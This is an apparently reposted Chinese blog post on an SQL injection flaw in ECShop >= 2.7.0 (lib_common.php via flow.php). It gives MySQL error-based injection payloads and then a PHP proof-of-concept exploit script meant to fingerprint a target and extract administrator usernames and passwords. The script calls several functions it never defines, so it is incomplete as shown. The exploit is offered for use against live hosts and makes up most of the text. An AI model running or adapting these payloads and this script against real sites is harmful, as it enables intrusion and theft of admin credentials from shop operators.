【转载】Ecshop lib_common.php注入

昨天无意间读到：
http://www.packetstormsecurity.org/papers/database/PT-devteev-FAST-blind-SQL-Injection.txt

发现原来可以这样注入：
MySQL >= 5.0：

执行：
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

或：
select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

会报错：
Duplicate entry '5.1.30-community1' for key 'group_key'

MySQL < 5：

执行：
select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);

数次后会报错：

Duplicate entry '4.1.22-community-nt:1' for key 1

正好解决了ecshop最新的漏洞，无礼包限制。

影响版本：
ecshop >= 2.7.0

package.php：

<?php
/*
* P.O.C. by xsser - http://www.wooyun.org/bug.php?action=view&id=248
*/
error_reporting(E_ALL & ~E_WARNING);
ini_set('display_errors', '1');
@set_time_limit(0);

hr();
banner();
if (count($argv) < 3 || $argv[1]=='?')
{
usage();
exit;
}
hr();

$host = $argv[1];
$path = $argv[2];

$username = array();
$password = array();

exploit($host, $path);
print "Getting database prefix ...\n";
$pre = prefix($host, $path);
define('PRE',$pre);
print "Verifying MySQL Version...\n";
$version = version($host, $path);
print "Counting admin user ...\n";
$ucount = ucount($host, $path,$version);
print "Admin Users : $ucount\n";
for ($i=1;$i<=$ucount;$i++)
{
print "Injecting username and password for admin $i ...\n";
Inject($host, $path,$i,$username[$i],$password[$i],$version);
print "\n";
}
hr();
print "*\n";
print "* [+] Target Host : $host$path\n";
print "* [+] Admin Founded : $ucount\n";
print "*\n";
for ($i=1;$i<=$ucount;$i++)
{
print "* [+] Username : " . $username[$i] . "\n";
print "* Passowrd : " . $password[$i] . "\n";
print "*\n";
}
hr();

function hr()
{
print "****************************************************************************\n";
}

function banner()
{
print "* [+] Exploit      : ECShop >= 2.7.0 (lib_common.php) Remote SQL Injection *\n";
    print "* [+] Date         : 22-08-2010                                            *\n";
    print "* [+] Author       : alibaba                                               *\n";
print "* [+] QQ           : 1499281192                                            *\n";
}

function usage($argv0)
{
hr();
print "* [+] Usage   : php package.php <host> <path>                              *\n";
print "* [+] Example : php package.php www.ecshop.com /                           *\n";
print "* [+] Example : php package.php www.ecshop.com /shop/                      *\n";
hr();
}

function exploit($host, $path)
{
$url = $path . 'flow.php?step=add_package_to_cart';
$data = 'package_info={"package_id":"1\'","number":"1"}';
$buffer = POST($host,80,$url,$data,30);
if (!strrpos($buffer,"MySQL server error report"))
die("No Vulnerability");
else
print "Vulnerability Founded!\n";
}

function POST($host,$port,$path,$data,$timeout, $cookie='') {
$buffer='';

    $fp = fsockopen($host,$port,$errno,$errstr,$timeout);
    if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno);
else {
        fputs($fp, "POST $path HTTP/1.0\r\n");
        fputs($fp, "Host: $host\r\n");
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
        fputs($fp, "Content-length: ".strlen($data)."\r\n");
        fputs($fp, "Connection: close\r\n\r\n");
        fputs($fp, $data."\r\n\r\n");

  while(!feof($fp))
  {
   $buffer .= fgets($fp,4096);
  }

  fclose($fp);
    }
return $buffer;
}
?>

文章目录